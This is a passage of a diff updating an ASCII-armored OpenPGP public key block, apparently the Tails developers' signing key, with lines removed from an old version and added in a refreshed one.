-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 -QPn+ypcBYzrC6b9iXTuSsya/9ISpMgCMSrU= -=Y2Aj +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 